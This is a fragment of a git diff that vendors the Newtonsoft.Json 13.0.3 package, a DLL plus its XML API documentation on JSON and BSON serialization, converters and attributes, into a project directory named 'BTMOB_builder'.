+ when deserializing with a value other than . + + + + + Do not include the .NET type name when serializing types. + + + + + Include the .NET type name when serializing into a JSON object structure. + + + + + Include the .NET type name when serializing into a JSON array structure. + + + + + Always include the .NET type name when serializing. + + + + + Include the .NET type name when the type of the object being serialized is not the same as its declared type. + Note that this doesn't include the root serialized object by default. To include the root object's type name in JSON + you must specify a root type object with + or . + + + + + Determines whether the collection is null or empty. + + The collection. + + true if the collection is null or empty; otherwise, false. + + + + + Adds the elements of the specified collection to the specified generic . + + The list to add to. + The collection of elements to add. + + + + Converts the value to the specified type. If the value is unable to be converted, the + value is checked whether it assignable to the specified type. + + The value to convert. + The culture to use when converting. + The type to convert or cast the value to. + + The converted type. If conversion was unsuccessful, the initial value + is returned if assignable to the target type. + + + + + Helper method for generating a MetaObject which calls a + specific method on Dynamic that returns a result + + + + + Helper method for generating a MetaObject which calls a + specific method on Dynamic, but uses one of the arguments for + the result. + + + + + Helper method for generating a MetaObject which calls a + specific method on Dynamic, but uses one of the arguments for + the result. + + + + + Returns a Restrictions object which includes our current restrictions merged + with a restriction limiting our type + + + + + Helper class for serializing immutable collections. + Note that this is used by all builds, even those that don't support immutable collections, in case the DLL is GACed + https://github.com/JamesNK/Newtonsoft.Json/issues/652 + + + + + List of primitive types which can be widened. + + + + + Widening masks for primitive types above. + Index of the value in this array defines a type we're widening, + while the bits in mask define types it can be widened to (including itself). + + For example, value at index 0 defines a bool type, and it only has bit 0 set, + i.e. bool values can be assigned only to bool. + + + + + Checks if value of primitive type can be + assigned to parameter of primitive type . + + Source primitive type. + Target primitive type. + true if source type can be widened to target type, false otherwise. + + + + Checks if a set of values with given can be used + to invoke a method with specified . + + Method parameters. + Argument types. + Try to pack extra arguments into the last parameter when it is marked up with . + true if method can be called with given arguments, false otherwise. + + + + Compares two sets of parameters to determine + which one suits better for given argument types. + + + + + Returns a best method overload for given argument . + + List of method candidates. + Argument types. + Best method overload, or null if none matched. + + + + Gets the type of the typed collection's items. + + The type. + The type of the typed collection's items. + + + + Gets the member's underlying type. + + The member. + The underlying type of the member. + + + + Determines whether the property is an indexed property. + + The property. + + true if the property is an indexed property; otherwise, false. + + + + + Gets the member's value on the object. + + The member. + The target object. + The member's value on the object. + + + + Sets the member's value on the target object. + + The member. + The target. + The value. + + + + Determines whether the specified MemberInfo can be read. + + The MemberInfo to determine whether can be read. + /// if set to true then allow the member to be gotten non-publicly. + + true if the specified MemberInfo can be read; otherwise, false. + + + + + Determines whether the specified MemberInfo can be set. + + The MemberInfo to determine whether can be set. + if set to true then allow the member to be set non-publicly. + if set to true then allow the member to be set if read-only. + + true if the specified MemberInfo can be set; otherwise, false. + + + + + Builds a string. Unlike this class lets you reuse its internal buffer. + + + + + Determines whether the string is all white space. Empty string will return false. + + The string to test whether it is all white space. + + true if the string is all white space; otherwise, false. + + + + + Specifies the state of the . + + + + + An exception has been thrown, which has left the in an invalid state. + You may call the method to put the in the Closed state. + Any other method calls result in an being thrown. + + + + + The method has been called. + + + + + An object is being written. + + + + + An array is being written. + + + + + A constructor is being written. + + + + + A property is being written. + + + + + A write method has not been called. + + + + + Indicates the method that will be used during deserialization for locating and loading assemblies. + + + + + In simple mode, the assembly used during deserialization need not match exactly the assembly used during serialization. Specifically, the version numbers need not match as the method is used to load the assembly. + + + + + In full mode, the assembly used during deserialization must match exactly the assembly used during serialization. The is used to load the assembly. + + + + Specifies that an output will not be null even if the corresponding type allows it. + + + Specifies that when a method returns , the parameter will not be null even if the corresponding type allows it. + + + Initializes the attribute with the specified return value condition. + + The return value condition. If the method returns this value, the associated parameter will not be null. + + + + Gets the return value condition. + + + Specifies that an output may be null even if the corresponding type disallows it. + + + Specifies that null is allowed as an input even if the corresponding type disallows it. + + + + Specifies that the method will not return if the associated Boolean parameter is passed the specified value. + + + + + Initializes a new instance of the class. + + + The condition parameter value. Code after the method will be considered unreachable by diagnostics if the argument to + the associated parameter matches this value. + + + + Gets the condition parameter value. + + + diff --git a/BTMOB_builder/packages/Newtonsoft.Json.13.0.3/lib/netstandard1.3/Newtonsoft.Json.dll b/BTMOB_builder/packages/Newtonsoft.Json.13.0.3/lib/netstandard1.3/Newtonsoft.Json.dll new file mode 100644 index 0000000..b683225 Binary files /dev/null and b/BTMOB_builder/packages/Newtonsoft.Json.13.0.3/lib/netstandard1.3/Newtonsoft.Json.dll differ diff --git a/BTMOB_builder/packages/Newtonsoft.Json.13.0.3/lib/netstandard1.3/Newtonsoft.Json.xml b/BTMOB_builder/packages/Newtonsoft.Json.13.0.3/lib/netstandard1.3/Newtonsoft.Json.xml new file mode 100644 index 0000000..68de74d --- /dev/null +++ b/BTMOB_builder/packages/Newtonsoft.Json.13.0.3/lib/netstandard1.3/Newtonsoft.Json.xml @@ -0,0 +1,11173 @@ + + + + Newtonsoft.Json + + + + + Represents a BSON Oid (object id). + + + + + Gets or sets the value of the Oid. + + The value of the Oid. + + + + Initializes a new instance of the class. + + The Oid value. + + + + Represents a reader that provides fast, non-cached, forward-only access to serialized BSON data. + + + + + Gets or sets a value indicating whether binary data reading should be compatible with incorrect Json.NET 3.5 written binary. + + + true if binary data reading will be compatible with incorrect Json.NET 3.5 written binary; otherwise, false. + + + + + Gets or sets a value indicating whether the root object will be read as a JSON array. + + + true if the root object will be read as a JSON array; otherwise, false. + + + + + Gets or sets the used when reading values from BSON. + + The used when reading values from BSON. + + + + Initializes a new instance of the class. + + The containing the BSON data to read. + + + + Initializes a new instance of the class. + + The containing the BSON data to read. + + + + Initializes a new instance of the class. + + The containing the BSON data to read. + if set to true the root object will be read as a JSON array. + The used when reading values from BSON. + + + + Initializes a new instance of the class. + + The containing the BSON data to read. + if set to true the root object will be read as a JSON array. + The used when reading values from BSON. + + + + Reads the next JSON token from the underlying . + + + true if the next token was read successfully; false if there are no more tokens to read. + + + + + Changes the reader's state to . + If is set to true, the underlying is also closed. + + + + + Represents a writer that provides a fast, non-cached, forward-only way of generating BSON data. + + + + + Gets or sets the used when writing values to BSON. + When set to no conversion will occur. + + The used when writing values to BSON. + + + + Initializes a new instance of the class. + + The to write to. + + + + Initializes a new instance of the class. + + The to write to. + + + + Flushes whatever is in the buffer to the underlying and also flushes the underlying stream. + + + + + Writes the end. + + The token. + + + + Writes a comment /*...*/ containing the specified text. + + Text to place inside the comment. + + + + Writes the start of a constructor with the given name. + + The name of the constructor. + + + + Writes raw JSON. + + The raw JSON to write. + + + + Writes raw JSON where a value is expected and updates the writer's state. + + The raw JSON to write. + + + + Writes the beginning of a JSON array. + + + + + Writes the beginning of a JSON object. + + + + + Writes the property name of a name/value pair on a JSON object. + + The name of the property. + + + + Closes this writer. + If is set to true, the underlying is also closed. + If is set to true, the JSON is auto-completed. + + + + + Writes a value. + An error will raised if the value cannot be written as a single JSON token. + + The value to write. + + + + Writes a null value. + + + + + Writes an undefined value. + + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a [] value. + + The [] value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a [] value that represents a BSON object id. + + The Object ID value to write. + + + + Writes a BSON regex. + + The regex pattern. + The regex options. + + + + Specifies how constructors are used when initializing objects during deserialization by the . + + + + + First attempt to use the public default constructor, then fall back to a single parameterized constructor, then to the non-public default constructor. + + + + + Json.NET will use a non-public default constructor before falling back to a parameterized constructor. + + + + + Converts a binary value to and from a base 64 string value. + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Converts a to and from JSON and BSON. + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Creates a custom object. + + The object type to convert. + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Creates an object which will then be populated by the serializer. + + Type of the object. + The created object. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Gets a value indicating whether this can write JSON. + + + true if this can write JSON; otherwise, false. + + + + + Provides a base class for converting a to and from JSON. + + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Converts a F# discriminated union type to and from JSON. + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Converts an to and from JSON. + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Gets a value indicating whether this can write JSON. + + + true if this can write JSON; otherwise, false. + + + + + Converts a to and from the ISO 8601 date format (e.g. "2008-04-12T12:53Z"). + + + + + Gets or sets the date time styles used when converting a date to and from JSON. + + The date time styles used when converting a date to and from JSON. + + + + Gets or sets the date time format used when converting a date to and from JSON. + + The date time format used when converting a date to and from JSON. + + + + Gets or sets the culture used when converting a date to and from JSON. + + The culture used when converting a date to and from JSON. + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Converts a to and from a JavaScript Date constructor (e.g. new Date(52231943)). + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing property value of the JSON that is being converted. + The calling serializer. + The object value. + + + + Converts a to and from JSON. + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Converts a to and from JSON and BSON. + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Converts an to and from its name string value. + + + + + Gets or sets a value indicating whether the written enum text should be camel case. + The default value is false. + + true if the written enum text will be camel case; otherwise, false. + + + + Gets or sets the naming strategy used to resolve how enum text is written. + + The naming strategy used to resolve how enum text is written. + + + + Gets or sets a value indicating whether integer values are allowed when serializing and deserializing. + The default value is true. + + true if integers are allowed when serializing and deserializing; otherwise, false. + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class. + + true if the written enum text will be camel case; otherwise, false. + + + + Initializes a new instance of the class. + + The naming strategy used to resolve how enum text is written. + true if integers are allowed when serializing and deserializing; otherwise, false. + + + + Initializes a new instance of the class. + + The of the used to write enum text. + + + + Initializes a new instance of the class. + + The of the used to write enum text. + + The parameter list to use when constructing the described by . + If null, the default constructor is used. + When non-null, there must be a constructor defined in the that exactly matches the number, + order, and type of these parameters. + + + + + Initializes a new instance of the class. + + The of the used to write enum text. + + The parameter list to use when constructing the described by . + If null, the default constructor is used. + When non-null, there must be a constructor defined in the that exactly matches the number, + order, and type of these parameters. + + true if integers are allowed when serializing and deserializing; otherwise, false. + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Converts a to and from Unix epoch time + + + + + Gets or sets a value indicating whether the dates before Unix epoch + should converted to and from JSON. + + + true to allow converting dates before Unix epoch to and from JSON; + false to throw an exception when a date being converted to or from JSON + occurred before Unix epoch. The default value is false. + + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class. + + + true to allow converting dates before Unix epoch to and from JSON; + false to throw an exception when a date being converted to or from JSON + occurred before Unix epoch. The default value is false. + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing property value of the JSON that is being converted. + The calling serializer. + The object value. + + + + Converts a to and from a string (e.g. "1.2.3.4"). + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing property value of the JSON that is being converted. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Converts XML to and from JSON. + + + + + Gets or sets the name of the root element to insert when deserializing to XML if the JSON structure has produced multiple root elements. + + The name of the deserialized root element. + + + + Gets or sets a value to indicate whether to write the Json.NET array attribute. + This attribute helps preserve arrays when converting the written XML back to JSON. + + true if the array attribute is written to the XML; otherwise, false. + + + + Gets or sets a value indicating whether to write the root JSON object. + + true if the JSON root object is omitted; otherwise, false. + + + + Gets or sets a value indicating whether to encode special characters when converting JSON to XML. + If true, special characters like ':', '@', '?', '#' and '$' in JSON property names aren't used to specify + XML namespaces, attributes or processing directives. Instead special characters are encoded and written + as part of the XML element name. + + true if special characters are encoded; otherwise, false. + + + + Writes the JSON representation of the object. + + The to write to. + The calling serializer. + The value. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Checks if the is a namespace attribute. + + Attribute name to test. + The attribute name prefix if it has one, otherwise an empty string. + true if attribute name is for a namespace attribute, otherwise false. + + + + Determines whether this instance can convert the specified value type. + + Type of the value. + + true if this instance can convert the specified value type; otherwise, false. + + + + + Specifies how dates are formatted when writing JSON text. + + + + + Dates are written in the ISO 8601 format, e.g. "2012-03-21T05:40Z". + + + + + Dates are written in the Microsoft JSON format, e.g. "\/Date(1198908717056)\/". + + + + + Specifies how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON text. + + + + + Date formatted strings are not parsed to a date type and are read as strings. + + + + + Date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed to . + + + + + Date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed to . + + + + + Specifies how to treat the time value when converting between string and . + + + + + Treat as local time. If the object represents a Coordinated Universal Time (UTC), it is converted to the local time. + + + + + Treat as a UTC. If the object represents a local time, it is converted to a UTC. + + + + + Treat as a local time if a is being converted to a string. + If a string is being converted to , convert to a local time if a time zone is specified. + + + + + Time zone information should be preserved when converting. + + + + + The default JSON name table implementation. + + + + + Initializes a new instance of the class. + + + + + Gets a string containing the same characters as the specified range of characters in the given array. + + The character array containing the name to find. + The zero-based index into the array specifying the first character of the name. + The number of characters in the name. + A string containing the same characters as the specified range of characters in the given array. + + + + Adds the specified string into name table. + + The string to add. + This method is not thread-safe. + The resolved string. + + + + Specifies default value handling options for the . + + + + + + + + + Include members where the member value is the same as the member's default value when serializing objects. + Included members are written to JSON. Has no effect when deserializing. + + + + + Ignore members where the member value is the same as the member's default value when serializing objects + so that it is not written to JSON. + This option will ignore all default values (e.g. null for objects and nullable types; 0 for integers, + decimals and floating point numbers; and false for booleans). The default value ignored can be changed by + placing the on the property. + + + + + Members with a default value but no JSON will be set to their default value when deserializing. + + + + + Ignore members where the member value is the same as the member's default value when serializing objects + and set members to their default value when deserializing. + + + + + Specifies float format handling options when writing special floating point numbers, e.g. , + and with . + + + + + Write special floating point values as strings in JSON, e.g. "NaN", "Infinity", "-Infinity". + + + + + Write special floating point values as symbols in JSON, e.g. NaN, Infinity, -Infinity. + Note that this will produce non-valid JSON. + + + + + Write special floating point values as the property's default value in JSON, e.g. 0.0 for a property, null for a of property. + + + + + Specifies how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text. + + + + + Floating point numbers are parsed to . + + + + + Floating point numbers are parsed to . + + + + + Specifies formatting options for the . + + + + + No special formatting is applied. This is the default. + + + + + Causes child objects to be indented according to the and settings. + + + + + Provides an interface for using pooled arrays. + + The array type content. + + + + Rent an array from the pool. This array must be returned when it is no longer needed. + + The minimum required length of the array. The returned array may be longer. + The rented array from the pool. This array must be returned when it is no longer needed. + + + + Return an array to the pool. + + The array that is being returned. + + + + Provides an interface to enable a class to return line and position information. + + + + + Gets a value indicating whether the class can return line information. + + + true if and can be provided; otherwise, false. + + + + + Gets the current line number. + + The current line number or 0 if no line information is available (for example, when returns false). + + + + Gets the current line position. + + The current line position or 0 if no line information is available (for example, when returns false). + + + + Instructs the how to serialize the collection. + + + + + Gets or sets a value indicating whether null items are allowed in the collection. + + true if null items are allowed in the collection; otherwise, false. + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class with a flag indicating whether the array can contain null items. + + A flag indicating whether the array can contain null items. + + + + Initializes a new instance of the class with the specified container Id. + + The container Id. + + + + Instructs the to use the specified constructor when deserializing that object. + + + + + Instructs the how to serialize the object. + + + + + Gets or sets the id. + + The id. + + + + Gets or sets the title. + + The title. + + + + Gets or sets the description. + + The description. + + + + Gets or sets the collection's items converter. + + The collection's items converter. + + + + The parameter list to use when constructing the described by . + If null, the default constructor is used. + When non-null, there must be a constructor defined in the that exactly matches the number, + order, and type of these parameters. + + + + [JsonContainer(ItemConverterType = typeof(MyContainerConverter), ItemConverterParameters = new object[] { 123, "Four" })] + + + + + + Gets or sets the of the . + + The of the . + + + + The parameter list to use when constructing the described by . + If null, the default constructor is used. + When non-null, there must be a constructor defined in the that exactly matches the number, + order, and type of these parameters. + + + + [JsonContainer(NamingStrategyType = typeof(MyNamingStrategy), NamingStrategyParameters = new object[] { 123, "Four" })] + + + + + + Gets or sets a value that indicates whether to preserve object references. + + + true to keep object reference; otherwise, false. The default is false. + + + + + Gets or sets a value that indicates whether to preserve collection's items references. + + + true to keep collection's items object references; otherwise, false. The default is false. + + + + + Gets or sets the reference loop handling used when serializing the collection's items. + + The reference loop handling. + + + + Gets or sets the type name handling used when serializing the collection's items. + + The type name handling. + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class with the specified container Id. + + The container Id. + + + + Provides methods for converting between .NET types and JSON types. + + + + + + + + Gets or sets a function that creates default . + Default settings are automatically used by serialization methods on , + and and on . + To serialize without using any default settings create a with + . + + + + + Represents JavaScript's boolean value true as a string. This field is read-only. + + + + + Represents JavaScript's boolean value false as a string. This field is read-only. + + + + + Represents JavaScript's null as a string. This field is read-only. + + + + + Represents JavaScript's undefined as a string. This field is read-only. + + + + + Represents JavaScript's positive infinity as a string. This field is read-only. + + + + + Represents JavaScript's negative infinity as a string. This field is read-only. + + + + + Represents JavaScript's NaN as a string. This field is read-only. + + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation using the specified. + + The value to convert. + The format the date will be converted to. + The time zone handling when the date is converted to a string. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation using the specified. + + The value to convert. + The format the date will be converted to. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + The string delimiter character. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + The string delimiter character. + The string escape handling. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Serializes the specified object to a JSON string. + + The object to serialize. + A JSON string representation of the object. + + + + Serializes the specified object to a JSON string using formatting. + + The object to serialize. + Indicates how the output should be formatted. + + A JSON string representation of the object. + + + + + Serializes the specified object to a JSON string using a collection of . + + The object to serialize. + A collection of converters used while serializing. + A JSON string representation of the object. + + + + Serializes the specified object to a JSON string using formatting and a collection of . + + The object to serialize. + Indicates how the output should be formatted. + A collection of converters used while serializing. + A JSON string representation of the object. + + + + Serializes the specified object to a JSON string using . + + The object to serialize. + The used to serialize the object. + If this is null, default serialization settings will be used. + + A JSON string representation of the object. + + + + + Serializes the specified object to a JSON string using a type, formatting and . + + The object to serialize. + The used to serialize the object. + If this is null, default serialization settings will be used. + + The type of the value being serialized. + This parameter is used when is to write out the type name if the type of the value does not match. + Specifying the type is optional. + + + A JSON string representation of the object. + + + + + Serializes the specified object to a JSON string using formatting and . + + The object to serialize. + Indicates how the output should be formatted. + The used to serialize the object. + If this is null, default serialization settings will be used. + + A JSON string representation of the object. + + + + + Serializes the specified object to a JSON string using a type, formatting and . + + The object to serialize. + Indicates how the output should be formatted. + The used to serialize the object. + If this is null, default serialization settings will be used. + + The type of the value being serialized. + This parameter is used when is to write out the type name if the type of the value does not match. + Specifying the type is optional. + + + A JSON string representation of the object. + + + + + Deserializes the JSON to a .NET object. + + The JSON to deserialize. + The deserialized object from the JSON string. + + + + Deserializes the JSON to a .NET object using . + + The JSON to deserialize. + + The used to deserialize the object. + If this is null, default serialization settings will be used. + + The deserialized object from the JSON string. + + + + Deserializes the JSON to the specified .NET type. + + The JSON to deserialize. + The of object being deserialized. + The deserialized object from the JSON string. + + + + Deserializes the JSON to the specified .NET type. + + The type of the object to deserialize to. + The JSON to deserialize. + The deserialized object from the JSON string. + + + + Deserializes the JSON to the given anonymous type. + + + The anonymous type to deserialize to. This can't be specified + traditionally and must be inferred from the anonymous type passed + as a parameter. + + The JSON to deserialize. + The anonymous type object. + The deserialized anonymous type from the JSON string. + + + + Deserializes the JSON to the given anonymous type using . + + + The anonymous type to deserialize to. This can't be specified + traditionally and must be inferred from the anonymous type passed + as a parameter. + + The JSON to deserialize. + The anonymous type object. + + The used to deserialize the object. + If this is null, default serialization settings will be used. + + The deserialized anonymous type from the JSON string. + + + + Deserializes the JSON to the specified .NET type using a collection of . + + The type of the object to deserialize to. + The JSON to deserialize. + Converters to use while deserializing. + The deserialized object from the JSON string. + + + + Deserializes the JSON to the specified .NET type using . + + The type of the object to deserialize to. + The object to deserialize. + + The used to deserialize the object. + If this is null, default serialization settings will be used. + + The deserialized object from the JSON string. + + + + Deserializes the JSON to the specified .NET type using a collection of . + + The JSON to deserialize. + The type of the object to deserialize. + Converters to use while deserializing. + The deserialized object from the JSON string. + + + + Deserializes the JSON to the specified .NET type using . + + The JSON to deserialize. + The type of the object to deserialize to. + + The used to deserialize the object. + If this is null, default serialization settings will be used. + + The deserialized object from the JSON string. + + + + Populates the object with values from the JSON string. + + The JSON to populate values from. + The target object to populate values onto. + + + + Populates the object with values from the JSON string using . + + The JSON to populate values from. + The target object to populate values onto. + + The used to deserialize the object. + If this is null, default serialization settings will be used. + + + + + Serializes the to a JSON string. + + The node to serialize. + A JSON string of the . + + + + Serializes the to a JSON string using formatting. + + The node to serialize. + Indicates how the output should be formatted. + A JSON string of the . + + + + Serializes the to a JSON string using formatting and omits the root object if is true. + + The node to serialize. + Indicates how the output should be formatted. + Omits writing the root object. + A JSON string of the . + + + + Deserializes the from a JSON string. + + The JSON string. + The deserialized . + + + + Deserializes the from a JSON string nested in a root element specified by . + + The JSON string. + The name of the root element to append when deserializing. + The deserialized . + + + + Deserializes the from a JSON string nested in a root element specified by + and writes a Json.NET array attribute for collections. + + The JSON string. + The name of the root element to append when deserializing. + + A value to indicate whether to write the Json.NET array attribute. + This attribute helps preserve arrays when converting the written XML back to JSON. + + The deserialized . + + + + Deserializes the from a JSON string nested in a root element specified by , + writes a Json.NET array attribute for collections, and encodes special characters. + + The JSON string. + The name of the root element to append when deserializing. + + A value to indicate whether to write the Json.NET array attribute. + This attribute helps preserve arrays when converting the written XML back to JSON. + + + A value to indicate whether to encode special characters when converting JSON to XML. + If true, special characters like ':', '@', '?', '#' and '$' in JSON property names aren't used to specify + XML namespaces, attributes or processing directives. Instead special characters are encoded and written + as part of the XML element name. + + The deserialized . + + + + Serializes the to a JSON string. + + The node to convert to JSON. + A JSON string of the . + + + + Serializes the to a JSON string using formatting. + + The node to convert to JSON. + Indicates how the output should be formatted. + A JSON string of the . + + + + Serializes the to a JSON string using formatting and omits the root object if is true. + + The node to serialize. + Indicates how the output should be formatted. + Omits writing the root object. + A JSON string of the . + + + + Deserializes the from a JSON string. + + The JSON string. + The deserialized . + + + + Deserializes the from a JSON string nested in a root element specified by . + + The JSON string. + The name of the root element to append when deserializing. + The deserialized . + + + + Deserializes the from a JSON string nested in a root element specified by + and writes a Json.NET array attribute for collections. + + The JSON string. + The name of the root element to append when deserializing. + + A value to indicate whether to write the Json.NET array attribute. + This attribute helps preserve arrays when converting the written XML back to JSON. + + The deserialized . + + + + Deserializes the from a JSON string nested in a root element specified by , + writes a Json.NET array attribute for collections, and encodes special characters. + + The JSON string. + The name of the root element to append when deserializing. + + A value to indicate whether to write the Json.NET array attribute. + This attribute helps preserve arrays when converting the written XML back to JSON. + + + A value to indicate whether to encode special characters when converting JSON to XML. + If true, special characters like ':', '@', '?', '#' and '$' in JSON property names aren't used to specify + XML namespaces, attributes or processing directives. Instead special characters are encoded and written + as part of the XML element name. + + The deserialized . + + + + Converts an object to and from JSON. + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Gets a value indicating whether this can read JSON. + + true if this can read JSON; otherwise, false. + + + + Gets a value indicating whether this can write JSON. + + true if this can write JSON; otherwise, false. + + + + Converts an object to and from JSON. + + The object type to convert. + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. If there is no existing value then null will be used. + The existing value has a value. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Instructs the to use the specified when serializing the member or class. + + + + + Gets the of the . + + The of the . + + + + The parameter list to use when constructing the described by . + If null, the default constructor is used. + + + + + Initializes a new instance of the class. + + Type of the . + + + + Initializes a new instance of the class. + + Type of the . + Parameter list to use when constructing the . Can be null. + + + + Represents a collection of . + + + + + Instructs the how to serialize the collection. + + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class with the specified container Id. + + The container Id. + + + + The exception thrown when an error occurs during JSON serialization or deserialization. + + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class + with a specified error message. + + The error message that explains the reason for the exception. + + + + Initializes a new instance of the class + with a specified error message and a reference to the inner exception that is the cause of this exception. + + The error message that explains the reason for the exception. + The exception that is the cause of the current exception, or null if no inner exception is specified. + + + + Instructs the to deserialize properties with no matching class member into the specified collection + and write values during serialization. + + + + + Gets or sets a value that indicates whether to write extension data when serializing the object. + + + true to write extension data when serializing the object; otherwise, false. The default is true. + + + + + Gets or sets a value that indicates whether to read extension data when deserializing the object. + + + true to read extension data when deserializing the object; otherwise, false. The default is true. + + + + + Initializes a new instance of the class. + + + + + Instructs the not to serialize the public field or public read/write property value. + + + + + Base class for a table of atomized string objects. + + + + + Gets a string containing the same characters as the specified range of characters in the given array. + + The character array containing the name to find. + The zero-based index into the array specifying the first character of the name. + The number of characters in the name. + A string containing the same characters as the specified range of characters in the given array. + + + + Instructs the how to serialize the object. + + + + + Gets or sets the member serialization. + + The member serialization. 